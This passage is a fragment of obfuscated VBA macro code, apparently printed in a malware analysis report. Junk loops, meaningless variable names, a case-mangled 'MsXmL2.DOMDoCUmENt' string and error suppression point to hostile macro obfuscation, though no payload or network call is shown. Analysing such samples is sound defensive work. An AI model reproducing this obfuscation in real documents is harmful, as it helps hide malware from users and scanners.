End Sub
Sub eJWxIn6d_dEbk_TD79aN()
f8qy8b43ZEDcTGIdRQiefZlQuQOBFkhsiJzAxn6_zBhJSeDak_P3zBsEUYDoL1uygT4HPHonUcnd2Z8NLwZESo2fZtnXiO29Prl9j4JaTkgUVNL4ZybXYne2aWrfcP__ = "MsXmL2.DOMDoCUmENt"
Do Until "y4LRCkMwCkLMS79yg" <> "bUmdGgZwLxGk_vd6gmftm2guUBzQf"
Dim uSJLNp8sLpUuezvEJByqPuSb_3ix1HEqHPac7X As CheckBox
Dim tEfKT6J9GBtoJ9AiN9_rGUEH2DjmkMXRHv As Worksheet
Loop
Do Until "PrIDZ" <> "VQ_"
Dim tfDJ8FphBabMOX9WSOUfV3lafWqQXIgmZBjhDq_c7C As CheckBox
Dim K6y4e2svtI_trz4lniXXH14ywLwYRkI2iSqpkl2xhkXVloSsnaBeDh3 As Worksheet
Loop
Do Until "SB9EQ_RcH9GJXHM_BqiyfbfL" <> "F3Dtzhnx_YVmleisNGOV"
Dim cd4jZZ_xdrU1du8X_g As CheckBox
Dim liTSI8uiVeGyiXKI As Worksheet
Loop
On Error Resume Next
Do Until "rl9bSYhyRQDdH1fIrqdpBIS5x1Dd" <> "pnG6oTBTYgMLAd_14OYe87E24eFg"
Dim QCnaTCHnHFyxxJtJbPofIaAgagesgOBHLcBV2u17UTrw As CheckBox
Dim YkpvK4XlzjWzAE_vgYE3DpkTHWQpXqJxsMFy1rfmzYRkEKTvuDY5Nxrs As Worksheet
Loop
Do Until "Umwk" <> "qLGYhEw9I5x2bCmW9"
Dim M6Be5TQNi5dWyd_rAGLIKgEgvkHjCvu_U_FqtEv2zJ8IR As CheckBox
Dim kSYsHa4ZMvpydrSJpJwIYAyWV85USSAh5NJPr13TzmGLZ1OVbpH9J_2idBU As Worksheet
Loop
Do Until "JfhF4uG4OfBbyPbRu3k6eqg2mI" <> "BW4UkvoerwQfMaR79yYMSqqqEo3_z"
Dim b8ocsss945OvShn As CheckBox
Dim ANoImgrraXzSoLN63inNykBcrh8_3IZ9GCp19r As Worksheet
Loop
lpBqKKmT_p94LslOBnLrotRsImVjBTiLljdYQqHAkRnqKqEGPzp5Pt81VRfgyBQnFvQkNK8SdKFU_jfagMSJnm51llC8JkJh__jYYc3
Do Until "aRtNMD2" <> "XDun9VKnSxXKJZ_ilx"
Dim Q8zKlfW6IGUdiW8jScKY4vMTxMPnwQUrFZ5EBKaNPCLDRxMAMjFjV As CheckBox
Dim L3dseVWOsG2ulVHa2hFB7H1iIB99NZLIuU4fZUeyC8g4TQo As Worksheet
Loop
Do Until "a_iTA_hYCB4icWXAR4q_PblA" <> "fCQ98k6N1Ug3"
Dim n_KHL6zceuBan7M_ As CheckBox
Dim lQX9bhx8riZa_orFydULrgwSkGdt_zSAV6ki As Worksheet
Loop
Do Until "hZEOMZmeXWzC5kHkAQDdDVSCD72N" <> "X_HCHHPCN7cFIxLsnpDMJYUn"
Dim gD3JFCKOhXE As CheckBox
Dim RNv4vSEUCw7TNIi As Worksheet
Loop
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.